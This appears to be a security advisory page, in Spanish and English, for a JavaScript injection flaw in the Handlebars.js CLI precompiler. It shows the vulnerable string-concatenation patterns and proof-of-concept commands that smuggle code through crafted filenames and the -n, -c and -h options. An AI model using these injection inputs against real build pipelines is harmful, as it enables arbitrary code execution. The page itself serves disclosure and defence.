Alta

Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options

  • Publicada: 27.03.2026
  • Actualizado: 11.10.2026 10:22

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

js
// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

js
// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

js
// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

js
// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

bash
mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js
node -e 'require("./out.js")'  # Executes injected code, creates ./pwned

Namespace vector:

bash
node bin/handlebars templates -o out.js \
  -n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'

CommonJS vector:

bash
node bin/handlebars templates -o out.js \
  -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'

AMD vector:

bash
node bin/handlebars templates -o out.js -a \
  -h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'

Workarounds

  • Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.).
  • Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
  • Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
  • Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm handlebars >= 4.0.0, < 4.7.9 4.7.9

Referencias

Puntuación CVSS 8.2/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-116, CWE-79, CWE-94
Plataforma
npm
Paquete
handlebars
Publicada
27.03.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-xjpj-3mr7-gcpf - CC BY 4.0

Historial de vulnerabilidades: handlebars

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (22) en el archivo
Entradas en total
22
Primera → última
10.2018 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 6
  • Alta 10
  • Media 5
  • Baja 1

Divulgaciones por año

  1. 2018: 1
  2. 2019: 2
  3. 2020: 4
  4. 2021: 1
  5. 2022: 3
  6. 2023: 0
  7. 2024: 0
  8. 2025: 0
  9. 2026: 11
Gravedad:
  1. Crítica CVE-2026-106445 >= 3.0.0, < 4.7.10 4.7.10
  2. Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options esta entrada
    Alta · 8.2 CVE-2026-33941 >= 4.0.0, < 4.7.9 4.7.9
  3. Crítica · 9.8 CVE-2026-33937 >= 4.0.0, < 4.7.9 4.7.9
  4. Crítica · 9.8 CVE-2021-23383 < 4.7.7 4.7.7
  5. Alta · 7.5 CVE-2019-20922 >= 4.0.0, < 4.4.5 4.4.5
  6. Alta · 8.1 CVE-2019-20920 < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  7. Crítica · 9.8 CVE-2021-23369 < 4.7.7 4.7.7
  8. Alta ghsa-q2c6-c6pm-g3gh < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  9. Alta ghsa-g9r4-xpmj-mj65 < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  10. Alta · 7.3 ghsa-2cf5-4w76-r9qv < 3.0.8, >= 4.0.0, < 4.5.2 3.0.8, 4.5.2
  11. Crítica · 9.8 CVE-2019-19919 >= 4.0.0, < 4.3.0, < 3.0.8 4.3.0, 3.0.8
  12. Alta · 7.3 ghsa-q42p-pg8m-cqh6 >= 4.1.0, < 4.1.2, >= 4.0.0, < 4.0.14, < 3.0.7 4.1.2, 4.0.14, 3.0.7

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.